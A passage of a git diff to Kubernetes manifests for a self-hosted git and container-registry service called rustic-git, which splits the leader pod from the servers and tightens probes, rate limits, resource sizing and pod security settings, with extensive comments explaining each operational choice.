kills a + # process that is still coming up. /api/health is a route handler that returns 204 with + # no render — /login used to be probed, which cost a full page render per probe. + startupProbe: + httpGet: { path: /api/health, port: http } + periodSeconds: 10 + failureThreshold: 12 livenessProbe: - httpGet: { path: /login, port: http } + httpGet: { path: /api/health, port: http } periodSeconds: 20 + failureThreshold: 5 resources: requests: { cpu: 100m, memory: 192Mi } limits: { memory: 512Mi } @@ -129,6 +148,12 @@ metadata: # A large push takes longer than the 60s default to receive and index. nginx.ingress.kubernetes.io/proxy-read-timeout: "600" nginx.ingress.kubernetes.io/proxy-send-timeout: "600" + # Per client IP (real IP via deploy/ingress-nginx-config.yaml): a page load is ~10 requests, + # the shell's 2 s polls are one each, so 30 r/s with a 5x burst is invisible to a person and + # a wall to a loop. + nginx.ingress.kubernetes.io/limit-rps: "30" + nginx.ingress.kubernetes.io/limit-burst-multiplier: "5" + nginx.ingress.kubernetes.io/limit-connections: "100" # Git streams: buffering a pack in nginx before passing it on delays every # byte and is what makes a clone appear to hang before it starts. nginx.ingress.kubernetes.io/proxy-request-buffering: "off" @@ -147,7 +172,22 @@ spec: pathType: ImplementationSpecific backend: service: - name: rustic-git-lb + name: rustic-git-http + port: + number: 80 + # `/v1/...` is the api server's own surface, and the CLI talks to it directly — + # it holds no session cookie, so it cannot go through the Next.js server the way + # the browser does. Before `/`, or the app swallows it and answers 404 in HTML. + # The rate-limit annotations above are ingress-wide and cover this path too. + # + # Only the three prefixes the CLI actually calls: the REST of `/v1` is peer-only — + # routes authenticated with RUSTIC_GIT_PEER_SECRET, which the Next.js server holds and + # the internet must not be able to reach. `/v1/(.*)` published all of them. + - path: /v1/(cli|workspaces|keys)(/.*)?$ + pathType: ImplementationSpecific + backend: + service: + name: rustic-git-api port: number: 80 - path: / diff --git a/deploy/rustic-git.yaml b/deploy/rustic-git.yaml index 2207c367..bd59438c 100644 --- a/deploy/rustic-git.yaml +++ b/deploy/rustic-git.yaml @@ -10,18 +10,298 @@ metadata: apiVersion: apps/v1 kind: StatefulSet metadata: - name: rustic-git + name: rustic-git-leader namespace: rustic-git spec: serviceName: rustic-git + # THE LEADER, ALONE. It writes the ownership map and holds no repositories — already true when + # it shared this StatefulSet, since servers() skipped ordinal zero. Splitting it out is what + # stops a server rollout from bouncing the writer, and lets the two halves be sized and probed + # independently. + # + # The name is the writer's identity, so changing it is the one edit here that costs an outage: + # while no pod answers to it the map has no writer, no lease can renew, and git operations fail. + # Renaming was done deliberately in a watched window, and any future rename needs the same. + # + # ponytail: this pod spec is duplicated wholesale in rustic-git-srv. Two copies beat introducing + # kustomize for one fork — but env changes must be made in BOTH. Template it at a third copy. + replicas: 1 + selector: + matchLabels: { app: rustic-git, role: leader } + template: + metadata: + labels: { app: rustic-git, role: leader } + # Plain scrape annotations, no Prometheus Operator assumed (a ServiceMonitor would need the + # CRD installed first; kube-prometheus-stack and the Azure managed agent both honour these). + annotations: + prometheus.io/scrape: "true" + prometheus.io/port: "8081" + prometheus.io/path: /metrics + spec: + terminationGracePeriodSeconds: 90 # 15s preStop sleep + pool.close() flush + drain + # uid 1001 is the image's `rustic` user. fsGroup is what makes the mounted Secret readable + # and the emptyDir writable without root: the kubelet chowns volume contents to this group. + securityContext: + runAsNonRoot: true + runAsUser: 1001 + runAsGroup: 1001 + fsGroup: 1001 + affinity: + # Spread the fleet across hosts so one node's failure takes one pod with it: pods packed + # onto one host would all go at once, and every repo they hold with them. + podAntiAffinity: + preferredDuringSchedulingIgnoredDuringExecution: + - weight: 100 + podAffinityTerm: + labelSelector: { matchLabels: { app: rustic-git } } + topologyKey: kubernetes.io/hostname + containers: + - name: rustic-git + image: ghcr.io/kloudlite/rustic-git:a3d98c1c2a17a1bbf461b309e6c7a7c6c34dce3a + args: ["serve"] + env: + # Tokio sizes its pool from the NODE's cores — 64 threads inside a + # 100m-CPU pod. Four matches what the request can actually run. + - name: TOKIO_WORKER_THREADS + value: "4" + - name: RUSTIC_GIT_S3_URL + value: az://rustic-git + - name: AZURE_STORAGE_ACCOUNT_NAME + valueFrom: { secretKeyRef: { name: rustic-git-storage, key: account } } + - name: AZURE_STORAGE_ACCOUNT_KEY + valueFrom: { secretKeyRef: { name: rustic-git-storage, key: key } } + # Close a repo's database once nobody has touched it for this long. Reopening costs + # a few object-store round trips; holding it costs a memtable. 5 minutes is the + # default in code, set explicitly here so it is visible where it is operated. + - name: RUSTIC_GIT_WARM_TTL_SECS + value: "300" + # Hard ceiling on simultaneously open databases, so a burst across many repos cannot + # pin one memtable each. The least recently used is closed once this is passed. + # Kept well under the memory limit: SlateDB's memtable can reach l0_sst_size_bytes + # (64MB) per database, so 16 bounds the worst case at 1GB against a 4GB limit. Real + # usage is far lower — refs are 40-byte strings — but the ceiling should not equal + # the limit, because exceeding it is an OOMKill rather than an eviction. + - name: RUSTIC_GIT_MAX_WARM + value: "16" + # Where the registry's auth challenge tells a client to fetch its token. + # It must be a URL the CLIENT can reach, not this pod's address — a + # `docker login` follows the realm verbatim, so the in-code default + # (localhost:8080) sends every client somewhere it cannot go. + - name: RUSTIC_GIT_EXTERNAL_URL + value: https://cr.khost.dev + # Signs the registry's bearer tokens. Every node must share ONE key: `/v2/token` is + # answered by whichever node the request lands on, while the push that presents the + # token routes to the node owning the image. Unset, each pod invents its own secret at + # startup, so a token minted by one is refused by the other and every push 401s after + # a successful login. + - name: RUSTIC_GIT_JWT_SECRET + valueFrom: { secretKeyRef: { name: rustic-git-jwt, key: secret } } + - name: RUSTIC_GIT_HOST_KEY + value: /etc/rustic-git/host_key + - name: RUSTIC_GIT_CACHE_DIR + value: /var/cache/rustic-git + # WHO WRITES THE MAP. Name derivation cannot cross a StatefulSet boundary, so it + # becomes configuration — and these two values must be identical on every pod of BOTH + # StatefulSets. Two nodes disagreeing about the writer open the map twice, which fences + # whichever one was legitimately serving. + # Each region's agent token is only honoured from that region's node addresses (the k3s + # VMs' public IPs — see deploy/k3s/README.md). A leaked token is useless elsewhere. + - name: RUSTIC_GIT_AGENT_SOURCES + value: "centralindia-k3s=40.80.82.158/32,20.219.22.61/32" + - name: RUSTIC_GIT_LEADER + value: rustic-git-leader-0 + - name: RUSTIC_GIT_SERVER_PREFIX + value: rustic-git-srv + - name: RUSTIC_GIT_PEER_SVC + value: rustic-git.rustic-git.svc.cluster.local + - name: RUSTIC_GIT_SELF + valueFrom: { fieldRef: { fieldPath: metadata.name } } # the stable pod name; RUSTIC_GIT_LEADER above names the writer, not a derivation from this + # This cluster runs networkPolicy: none, so anything on the pod network can reach the + # peer ports; the shared secret is what keeps a stray client from forwarding traffic in. + - name: RUSTIC_GIT_PEER_SECRET + valueFrom: { secretKeyRef: { name: rustic-git-peer, key: secret } } + # The git nodes are where invalidation happens: a push drops the repo's `refs` entry, + # and a visibility flip or delete bumps its generation. Without this the api tier caches + # answers that nothing can ever purge, and `set-visibility private` silently orphans + # nothing — a disabled cache reports success, because for reads that is the correct + # behaviour. Same secret the api tier reads. + - name: RUSTIC_GIT_REDIS_URL + valueFrom: { secretKeyRef: { name: rustic-git-redis, key: url, optional: true } } + # The owning node copies a repo's pre-move pull requests out of the directory on first + # touch, so THIS is where the migration reads from. Deliberately NOT `optional: true`: + # an absent variable is indistinguishable from "single-node, nothing to migrate", and + # that path records the repo as migrated with zero changes -- orphaning every existing + # pull request and restarting numbering at 1 into collisions. A missing secret must + # stop the pod, not quietly empty the repositories. Configured-but-unreachable is the + # other case and is already loud: git keeps serving, pull routes fail until restart. + # Removable once every repo carries `meta/pulls_migrated` and `pulls_for` is deleted. + - name: RUSTIC_GIT_MONGO_URI + valueFrom: { secretKeyRef: { name: rustic-git-mongo, key: uri } } + # Workspaces control plane (vol-agent job surface + sweep): Cosmos-backed; absent + # secret leaves the routes answering 503 and the feature dark — pods still boot. + - name: COSMOS_ENDPOINT + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: endpoint, optional: true } } + - name: COSMOS_KEY + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: key, optional: true } } + - name: COSMOS_DB + value: workspaces + - name: RUSTIC_GIT_VOL_AGENT_TOKENS + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: vol-agent-token, optional: true } } + # How many serving pods the leader may hand a repo to: rustic-git-srv-0 .. N-1. Must + # equal rustic-git-srv's spec.replicas, and must be identical on the leader and every + # server. The leader itself holds no repositories. + - name: RUSTIC_GIT_REPLICAS + value: "3" + # Sized from measurement, not taste. The receive path buffers the whole pack, and peak + # memory ran about 3x the pack size: a 500MB push peaked at 1.46Gi. The default cap is + # 2GiB, which is well past what the 4Gi limit survives — a 1.5GB push OOMKilled the pod + # (exit 137) and took every repo it owned down with it, answering the client 502. + # 512MB keeps the peak near 1.5Gi and turns that crash into a clean 413. Raise it only + # after the receive path streams to storage instead of buffering. + - name: RUSTIC_GIT_MAX_BODY + value: "536870912" + ports: + - { name: http, containerPort: 8080 } + - { name: ssh, containerPort: 2222 } + - { name: peer, containerPort: 8081 } + - { name: peer-stream, containerPort: 8082 } + # On termination Kubernetes removes the pod from endpoints and sends SIGTERM at once. + # Sleep first so endpoint removal reaches every node's DNS (TTL 5s) plus every node's + # membership cache (TTL 2s) plus margin, so no peer forwards into a dying pod. Then the + # SIGTERM handler RELEASES the pool first — so the peer that is next sent one of this + # pod's repos claims and opens it without fencing us — and only then drains the listeners. + lifecycle: + preStop: + exec: + command: ["sleep", "15"] + # Readiness gates DNS membership: a pod is in the headless Service only while Ready, so + # this is what puts a restarted pod back into every peer's view. 5s keeps that gap short + # without hammering /healthz. + readinessProbe: + httpGet: { path: /healthz, port: http } + periodSeconds: 5 + # Liveness must not police STARTUP, only a process that has gone bad after it was + # serving. Without a startup allowance it did both: the leader replays the ownership + # map's WAL before it binds :8080, that replay outgrew the probe window, and liveness + # killed the pod mid-replay — every time, so it could never finish and never recover. + # An hour-long crash loop that no amount of restarting could clear. + # startupProbe holds liveness off until the process answers once (40 x 15s = 10 minutes of + # grace); after that liveness takes over unchanged. failureThreshold on liveness is + # raised too, so one slow /healthz under load is not a kill on its own. + # + # Ten minutes, not the 150s it used to be, because the leader replays the ownership map's + # WAL before it can answer and 150s was tighter than that work: at 25,000 WAL objects it + # was killed mid-replay every time, restarted, and never finished -- a crash loop caused + # by the probe rather than by the process. The WAL is bounded again, so a healthy leader + # now starts in about 30 seconds; this budget exists for the case where something makes + # it slow again, and it should only ever be wrong in the forgiving direction. + # periodSeconds is the RESOLUTION of readiness, not just the polling cost: at 15s a + # process that is listening in 1.8s still sat un-Ready for 15, and a three-pod ordered + # rollout paid that per pod for nothing. 5s x 120 keeps the same 10-minute ceiling while + # letting a healthy pod be Ready in about five seconds. + startupProbe: + httpGet: { path: /healthz, port: http } + periodSeconds: 5 + # 60 not 120: the servers' budget covers replaying a repo database, which the leader + # does not have. It opens one small map and is ready in about two seconds, so ten + # minutes of startup grace only delays noticing a leader that will never come up — + # and while it is down, no lease can renew. + failureThreshold: 60 + livenessProbe: + httpGet: { path: /healthz, port: http } + periodSeconds: 30 + failureThreshold: 5 + # The REQUEST is a scheduling floor, not a budget: it is what the scheduler subtracts from + # a node whether or not the pod ever uses it. At 1Gi x 3 this fleet could not place its + # third pod on a cluster with ample real headroom — measured usage is 5-8Mi idle, and the + # nodes were ~77% *requested* while barely used. 384Mi covers idle plus the warm + # memtables of a normally busy node with room to spare. + # + # The LIMIT stays 4Gi and must: the receive path buffers a whole pack, and a 500MB push + # was measured peaking at 1.46Gi (see RUSTIC_GIT_MAX_BODY above). Lowering the limit to + # match the request would turn that push into an OOMKill, taking every repo the pod owns + # with it. Burst is exactly what the gap between request and limit is for. + # Sized for the leader specifically, which is the point of it having its own StatefulSet. + # It holds no repositories and the load balancer excludes it, so it never buffers a pack + # — the thing the servers' 4Gi limit exists for. Measured at 8Mi/11m in steady state on + # this cluster; 96Mi requested is ~12x that, and the 512Mi limit still leaves an order of + # magnitude for the compactor and a burst of claims. + # + # No CPU limit here or on any other pod in this file, on purpose. A CPU limit is + # enforced by throttling, and a pack receive or a clone that gets throttled turns into + # a client timeout; the request already bounds what the scheduler must reserve, and + # burst on a node with idle cores is free. Memory limits stay because exceeding memory + # is an OOMKill either way. + resources: + requests: { cpu: 100m, memory: 96Mi } + limits: { memory: 512Mi } + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + volumeMounts: + - { name: hostkey, mountPath: /etc/rustic-git, readOnly: true } + - { name: cache, mountPath: /var/cache/rustic-git } + # The image's RUSTIC_GIT_CACHE_DIR pins /var/cache/rustic-git, so the mount must land + # exactly there — with a read-only root the directory has to be a mount. + volumes: + # One SSH host key shared by every pod. Per-pod keys would make each pod a different + # host to ssh, and clients would report a changed host key depending on where they land. + - name: hostkey + secret: + secretName: rustic-git-hostkey + # 0440, not 0400: the file is root-owned and the process is uid 1001 — group read via + # fsGroup is the only way a non-root process opens it. + defaultMode: 0440 + # Pack cache: local and disposable. Every byte is re-fetchable from blob storage, and the + # pods must be free to land on any node instantly. This was a per-pod ReadWriteOnce disk; + # on the first roll under load a pod was rescheduled across nodes and waited 33 seconds + # for the disk to detach from the old node and attach to the new one (Multi-Attach + # error), during which every repo it owned had no owner. A warm cache is not worth a + # 30-second outage per reschedule. + - name: cache + emptyDir: + sizeLimit: 20Gi +--- +# Stable identity per pod is the point of a StatefulSet here, not just the disks: a Deployment's +# rolling update briefly runs the old and new pod together, and for the repos they share that +# means the new pod fences the old one mid-request. A StatefulSet never runs two pods with the +# same ordinal, so a repo's database is handed over rather than contended. +apiVersion: apps/v1 +kind: StatefulSet +metadata: + name: rustic-git-srv + namespace: rustic-git +spec: + serviceName: rustic-git + # THE SERVERS. Every ordinal here holds repositories: none of them is the leader, so unlike the + # old shared layout there is no ordinal zero to skip. RUSTIC_GIT_REPLICAS counts THIS + # StatefulSet, not the fleet. + # + # serviceName is deliberately the leader's headless Service. Peer addressing is + # {pod}.rustic-git.rustic-git.svc, and sharing one Service is what keeps that resolving across + # both StatefulSets without addr_of having to learn about any of this. replicas: 3 selector: - matchLabels: { app: rustic-git } + matchLabels: { app: rustic-git, role: server } template: metadata: - labels: { app: rustic-git } + labels: { app: rustic-git, role: server } + # Plain scrape annotations, no Prometheus Operator assumed (a ServiceMonitor would need the + # CRD installed first; kube-prometheus-stack and the Azure managed agent both honour these). + annotations: + prometheus.io/scrape: "true" + prometheus.io/port: "8081" + prometheus.io/path: /metrics spec: terminationGracePeriodSeconds: 90 # 15s preStop sleep + pool.close() flush + drain + # uid 1001 is the image's `rustic` user. fsGroup is what makes the mounted Secret readable + # and the emptyDir writable without root: the kubelet chowns volume contents to this group. + securityContext: + runAsNonRoot: true + runAsUser: 1001 + runAsGroup: 1001 + fsGroup: 1001 affinity: # Spread the fleet across hosts so one node's failure takes one pod with it: pods packed # onto one host would all go at once, and every repo they hold with them. @@ -33,9 +313,13 @@ spec: topologyKey: kubernetes.io/hostname containers: - name: rustic-git - image: ghcr.io/kloudlite/rustic-git:ee77c6cab2d0840c17fec9b3ac5608fa66c49fd6 + image: ghcr.io/kloudlite/rustic-git:a3d98c1c2a17a1bbf461b309e6c7a7c6c34dce3a args: ["serve"] env: + # Tokio sizes its pool from the NODE's cores — 64 threads inside a + # 100m-CPU pod. Four matches what the request can actually run. + - name: TOKIO_WORKER_THREADS + value: "4" - name: RUSTIC_GIT_S3_URL value: az://rustic-git - name: AZURE_STORAGE_ACCOUNT_NAME @@ -55,14 +339,39 @@ spec: # the limit, because exceeding it is an OOMKill rather than an eviction. - name: RUSTIC_GIT_MAX_WARM value: "16" + # Where the registry's auth challenge tells a client to fetch its token. + # It must be a URL the CLIENT can reach, not this pod's address — a + # `docker login` follows the realm verbatim, so the in-code default + # (localhost:8080) sends every client somewhere it cannot go. + - name: RUSTIC_GIT_EXTERNAL_URL + value: https://cr.khost.dev + # Signs the registry's bearer tokens. Every node must share ONE key: `/v2/token` is + # answered by whichever node the request lands on, while the push that presents the + # token routes to the node owning the image. Unset, each pod invents its own secret at + # startup, so a token minted by one is refused by the other and every push 401s after + # a successful login. + - name: RUSTIC_GIT_JWT_SECRET + valueFrom: { secretKeyRef: { name: rustic-git-jwt, key: secret } } - name: RUSTIC_GIT_HOST_KEY value: /etc/rustic-git/host_key - name: RUSTIC_GIT_CACHE_DIR value: /var/cache/rustic-git + # WHO WRITES THE MAP. Name derivation cannot cross a StatefulSet boundary, so it + # becomes configuration — and these two values must be identical on every pod of BOTH + # StatefulSets. Two nodes disagreeing about the writer open the map twice, which fences + # whichever one was legitimately serving. + # Each region's agent token is only honoured from that region's node addresses (the k3s + # VMs' public IPs — see deploy/k3s/README.md). A leaked token is useless elsewhere. + - name: RUSTIC_GIT_AGENT_SOURCES + value: "centralindia-k3s=40.80.82.158/32,20.219.22.61/32" + - name: RUSTIC_GIT_LEADER + value: rustic-git-leader-0 + - name: RUSTIC_GIT_SERVER_PREFIX + value: rustic-git-srv - name: RUSTIC_GIT_PEER_SVC value: rustic-git.rustic-git.svc.cluster.local - name: RUSTIC_GIT_SELF - valueFrom: { fieldRef: { fieldPath: metadata.name } } # the stable pod name; the leader is this with the ordinal replaced by 0 + valueFrom: { fieldRef: { fieldPath: metadata.name } } # the stable pod name; RUSTIC_GIT_LEADER above names the writer, not a derivation from this # This cluster runs networkPolicy: none, so anything on the pod network can reach the # peer ports; the shared secret is what keeps a stray client from forwarding traffic in. - name: RUSTIC_GIT_PEER_SECRET @@ -74,9 +383,29 @@ spec: # behaviour. Same secret the api tier reads. - name: RUSTIC_GIT_REDIS_URL valueFrom: { secretKeyRef: { name: rustic-git-redis, key: url, optional: true } } - # Pod zero stores the ownership map and holds no repositories, so the leader needs to - # know how many pods exist to hand a repo to. Keep in step with spec.replicas above: - # serving capacity is replicas - 1. + # The owning node copies a repo's pre-move pull requests out of the directory on first + # touch, so THIS is where the migration reads from. Deliberately NOT `optional: true`: + # an absent variable is indistinguishable from "single-node, nothing to migrate", and + # that path records the repo as migrated with zero changes -- orphaning every existing + # pull request and restarting numbering at 1 into collisions. A missing secret must + # stop the pod, not quietly empty the repositories. Configured-but-unreachable is the + # other case and is already loud: git keeps serving, pull routes fail until restart. + # Removable once every repo carries `meta/pulls_migrated` and `pulls_for` is deleted. + - name: RUSTIC_GIT_MONGO_URI + valueFrom: { secretKeyRef: { name: rustic-git-mongo, key: uri } } + # Workspaces control plane (vol-agent job surface + sweep): Cosmos-backed; absent + # secret leaves the routes answering 503 and the feature dark — pods still boot. + - name: COSMOS_ENDPOINT + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: endpoint, optional: true } } + - name: COSMOS_KEY + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: key, optional: true } } + - name: COSMOS_DB + value: workspaces + - name: RUSTIC_GIT_VOL_AGENT_TOKENS + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: vol-agent-token, optional: true } } + # How many serving pods the leader may hand a repo to: rustic-git-srv-0 .. N-1. Must + # equal rustic-git-srv's spec.replicas, and must be identical on the leader and every + # server. The leader itself holds no repositories. - name: RUSTIC_GIT_REPLICAS value: "3" # Sized from measurement, not taste. The receive path buffers the whole pack, and peak @@ -107,23 +436,64 @@ spec: readinessProbe: httpGet: { path: /healthz, port: http } periodSeconds: 5 + # Liveness must not police STARTUP, only a process that has gone bad after it was + # serving. Without a startup allowance it did both: the leader replays the ownership + # map's WAL before it binds :8080, that replay outgrew the probe window, and liveness + # killed the pod mid-replay — every time, so it could never finish and never recover. + # An hour-long crash loop that no amount of restarting could clear. + # startupProbe holds liveness off until the process answers once (40 x 15s = 10 minutes of + # grace); after that liveness takes over unchanged. failureThreshold on liveness is + # raised too, so one slow /healthz under load is not a kill on its own. + # + # Ten minutes, not the 150s it used to be, because the leader replays the ownership map's + # WAL before it can answer and 150s was tighter than that work: at 25,000 WAL objects it + # was killed mid-replay every time, restarted, and never finished -- a crash loop caused + # by the probe rather than by the process. The WAL is bounded again, so a healthy leader + # now starts in about 30 seconds; this budget exists for the case where something makes + # it slow again, and it should only ever be wrong in the forgiving direction. + # periodSeconds is the RESOLUTION of readiness, not just the polling cost: at 15s a + # process that is listening in 1.8s still sat un-Ready for 15, and a three-pod ordered + # rollout paid that per pod for nothing. 5s x 120 keeps the same 10-minute ceiling while + # letting a healthy pod be Ready in about five seconds. + startupProbe: + httpGet: { path: /healthz, port: http } + periodSeconds: 5 + failureThreshold: 120 livenessProbe: httpGet: { path: /healthz, port: http } periodSeconds: 30 + failureThreshold: 5 + # The REQUEST is a scheduling floor, not a budget: it is what the scheduler subtracts from + # a node whether or not the pod ever uses it. At 1Gi x 3 this fleet could not place its + # third pod on a cluster with ample real headroom — measured usage is 5-8Mi idle, and the + # nodes were ~77% *requested* while barely used. 384Mi covers idle plus the warm + # memtables of a normally busy node with room to spare. + # + # The LIMIT stays 4Gi and must: the receive path buffers a whole pack, and a 500MB push + # was measured peaking at 1.46Gi (see RUSTIC_GIT_MAX_BODY above). Lowering the limit to + # match the request would turn that push into an OOMKill, taking every repo the pod owns + # with it. Burst is exactly what the gap between request and limit is for. resources: - requests: { cpu: 500m, memory: 1Gi } + requests: { cpu: 250m, memory: 384Mi } limits: { memory: 4Gi } + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } volumeMounts: - { name: hostkey, mountPath: /etc/rustic-git, readOnly: true } - { name: cache, mountPath: /var/cache/rustic-git } - # RUSTIC_GIT_CACHE_DIR defaults to ./cache in the container; point it at the mount. + # The image's RUSTIC_GIT_CACHE_DIR pins /var/cache/rustic-git, so the mount must land + # exactly there — with a read-only root the directory has to be a mount. volumes: # One SSH host key shared by every pod. Per-pod keys would make each pod a different # host to ssh, and clients would report a changed host key depending on where they land. - name: hostkey secret: secretName: rustic-git-hostkey - defaultMode: 0400 + # 0440, not 0400: the file is root-owned and the process is uid 1001 — group read via + # fsGroup is the only way a non-root process opens it. + defaultMode: 0440 # Pack cache: local and disposable. Every byte is re-fetchable from blob storage, and the # pods must be free to land on any node instantly. This was a per-pod ReadWriteOnce disk; # on the first roll under load a pod was rescheduled across nodes and waited 33 seconds @@ -134,6 +504,33 @@ spec: emptyDir: sizeLimit: 20Gi --- +# A drain may take one server at a time. Each server owns repos; losing two at once doubles the +# set of repos that must be force-claimed by the survivors, and the rolling update already moves +# them one ordinal at a time — this makes eviction obey the same pace. +apiVersion: policy/v1 +kind: PodDisruptionBudget +metadata: + name: rustic-git-srv + namespace: rustic-git +spec: + maxUnavailable: 1 + selector: + matchLabels: { app: rustic-git, role: server } +--- +# The leader is never evicted automatically. It is one pod by design with no failover (README: +# "Leadership is a name, not a decision"), and while it is down no lease renews and no cold repo +# can be claimed. A node drain therefore BLOCKS on this pod until someone deletes it on purpose, +# in a watched window — the same discipline the StatefulSet comment asks for a rename. +apiVersion: policy/v1 +kind: PodDisruptionBudget +metadata: + name: rustic-git-leader + namespace: rustic-git +spec: + maxUnavailable: 0 + selector: + matchLabels: { app: rustic-git, role: leader } +--- # Headless: gives each pod a stable DNS name (rustic-git-0.rustic-git.rustic-git.svc) and, more # importantly, makes the pod endpoints individually addressable for the ingress's hash routing. apiVersion: v1 @@ -157,14 +554,31 @@ spec: --- apiVersion: v1 kind: Service +metadata: + name: rustic-git-http + namespace: rustic-git +spec: + # Cluster-local HTTP for the two Ingress objects (git smart HTTP on the app's host, /v2 on the + # registry's). Servers only — same reasoning as the LoadBalancer below. + selector: { app: rustic-git, role: server } + ports: + - { name: http, port: 80, targetPort: http } +--- +apiVersion: v1 +kind: Service metadata: name: rustic-git-lb namespace: rustic-git spec: type: LoadBalancer - selector: { app: rustic-git } + # Servers only: the leader holds no repositories, so client traffic to it buys nothing but an + # extra forward. The headless Service above still selects BOTH — peer addressing and leader + # reachability depend on that. + selector: { app: rustic-git, role: server } + # SSH only. HTTP used to be published here too, straight to the internet with no TLS, which + # let Basic credentials travel in the clear past both ingresses; HTTP now reaches the fleet + # only through rustic-git-http behind an Ingress. SSH has no ingress to hide behind. ports: - - { name: http, port: 80, targetPort: http } # Port 22 is what `git@host:owner/repo.git` means — scp-style remotes carry no # port, so anything else forces every user to write `ssh://…:2222/…` instead. # The load balancer does the mapping; the container still listens on 2222 and @@ -224,16 +638,31 @@ spec: template: metadata: labels: { app: rustic-git-api } + # Plain scrape annotations, no Prometheus Operator assumed (a ServiceMonitor would need the + # CRD installed first; kube-prometheus-stack and the Azure managed agent both honour these). + annotations: + prometheus.io/scrape: "true" + prometheus.io/port: "9464" + prometheus.io/path: /metrics spec: + securityContext: + runAsNonRoot: true + runAsUser: 1001 + runAsGroup: 1001 + fsGroup: 1001 containers: - name: api - image: ghcr.io/kloudlite/rustic-git:ee77c6cab2d0840c17fec9b3ac5608fa66c49fd6 + image: ghcr.io/kloudlite/rustic-git:a3d98c1c2a17a1bbf461b309e6c7a7c6c34dce3a # Its own binary, not a subcommand: this process cannot open a repository # for writing, because none of that code is linked into it. command: ["rustic-git-api"] ports: - { name: http, containerPort: 8090 } env: + # Tokio sizes its pool from the NODE's cores — 64 threads inside a + # 100m-CPU pod. Four matches what the request can actually run. + - name: TOKIO_WORKER_THREADS + value: "4" - name: RUSTIC_GIT_S3_URL value: az://rustic-git - name: AZURE_STORAGE_ACCOUNT_NAME @@ -246,6 +675,22 @@ spec: value: http://rustic-git:8081 - name: RUSTIC_GIT_API_ADDR value: 0.0.0.0:8090 + # A separate listener: 8090 is what the ingress forwards /v1 to. + - name: RUSTIC_GIT_METRICS_ADDR + value: 0.0.0.0:9464 + # Workspaces frontend surface: cross-cluster Region metadata in Cosmos, everything + # else in the CRDs. /v1/volumes/* reads the cluster now (a label list of `done` + # SnapshotRequests), so there is no registry client here. Absent secret = region + # routes 503, feature dark. + - name: COSMOS_ENDPOINT + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: endpoint, optional: true } } + - name: COSMOS_KEY + valueFrom: { secretKeyRef: { name: rustic-git-cosmos, key: key, optional: true } } + - name: COSMOS_DB + value: workspaces + # Who may register regions (admin-gated route); everything else is owner-scoped. + - name: RUSTIC_GIT_WORKSPACES_ADMINS + value: karthik@kloudlite.io - name: RUSTIC_GIT_PEER_SECRET valueFrom: { secretKeyRef: { name: rustic-git-peer, key: secret } } # Optional: without it every request still answers, just always from a git node @@ -262,16 +707,55 @@ spec: valueFrom: { secretKeyRef: { name: rustic-git-mongo, key: uri, optional: true } } - name: RUSTIC_GIT_MONGO_DB value: kloudlite - # Signs the identity tokens the web app presents. Minted here and - # nowhere else, so the key exists in exactly one process. + # Signs the identity tokens the web app presents — and, on the git + # nodes, the registry's bearer tokens. One key across every process + # that mints or verifies one. Required: a pod that starts without it + # mints tokens nobody else can verify, which is a silent outage. - name: RUSTIC_GIT_JWT_SECRET - valueFrom: { secretKeyRef: { name: rustic-git-jwt, key: secret, optional: true } } + valueFrom: { secretKeyRef: { name: rustic-git-jwt, key: secret } } + # The workspace CRDs live in the k3s workload cluster, not this one. `Config::infer` + # tries a kubeconfig BEFORE in-cluster config, so pointing KUBECONFIG at the mounted + # file is what makes /v1 write to that cluster instead of this pod's own API server — + # which has none of the CRDs and would 404 every create. + # + # ponytail: one kubeconfig, so one workload cluster. The pull design + # (docs/superpowers/specs/2026-08-26-cluster-sync-design.md) replaces this with each + # cluster syncing its own desired state, and this Secret goes away with it. + - name: KUBECONFIG + value: /etc/rustic-git/k3s/config readinessProbe: httpGet: { path: /healthz, port: http } periodSeconds: 5 + # /healthz on this tier is a constant 200 (api/mod.rs): cheap to poll, and it still + # proves the process is accepting connections, which is what a wedged runtime loses. + livenessProbe: + httpGet: { path: /healthz, port: http } + periodSeconds: 30 + failureThreshold: 5 resources: requests: { cpu: 250m, memory: 256Mi } limits: { memory: 512Mi } + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + volumeMounts: + - { name: cache, mountPath: /var/cache/rustic-git } + - { name: k3s-kubeconfig, mountPath: /etc/rustic-git/k3s, readOnly: true } + volumes: + # The image's RUSTIC_GIT_CACHE_DIR points here and the root filesystem is read-only, so + # the directory must be a mount even though this tier reads repos through the git nodes + # and writes almost nothing locally. Small on purpose. + - name: cache + emptyDir: + sizeLimit: 1Gi + # A ServiceAccount token for the k3s cluster, scoped to the rustic-git.io CRDs plus + # read-only nodes/pods for placement. Not optional: without it /v1 workspace routes answer + # 503, which reads as "feature missing" rather than "misconfigured". + - name: k3s-kubeconfig + secret: + secretName: rustic-git-k3s-kubeconfig + defaultMode: 0400 --- # The merge worker. Scale it with `replicas`, freely: every job is claimed # atomically, so two pods can never take the same one. Each pod also runs several @@ -283,6 +767,24 @@ spec: # git nodes use and adds packs to it — content-addressed, so any process may — but # it never writes a ref. The ref move is asked of the node that owns the repo, # which is what keeps one writer per repo and keeps branch protection in force. +# +# Listing index markers (index/{public|private}/{repo|img}/{owner}/{name}) are +# reconciled here: the GC sweep heals structural drift (missing/orphaned markers, +# stale stats) within one sweep period; visibility drift (accuracy of the +# public/private marker) heals when the owning node next opens the repo or on +# its ~30s warm-repo reconcile lane. +# +# It also consumes the `events` Redis stream (XREADGROUP/XACK, XAUTOCLAIM for +# crashed consumers) to get nudged about merge work quickly, but the stream is +# never the record: a periodic ~60s pull_to_check Mongo sweep is the actual +# floor, verified to still find all queued work with Redis entirely down. That +# floor is what protects this worker from the Redis instance's eviction +# policy: verified against the live rustic-git-redis (Azure Managed Redis, +# Enterprise tier) via `az redisenterprise database list`, since Azure blocks +# CONFIG GET on this SKU — the policy is VolatileLRU, not noeviction. Stream +# keys carry no TTL, so VolatileLRU currently leaves them alone (it only +# evicts keys with an expire set), but nothing enforces that going forward — +# any dropped stream entry is fine because the 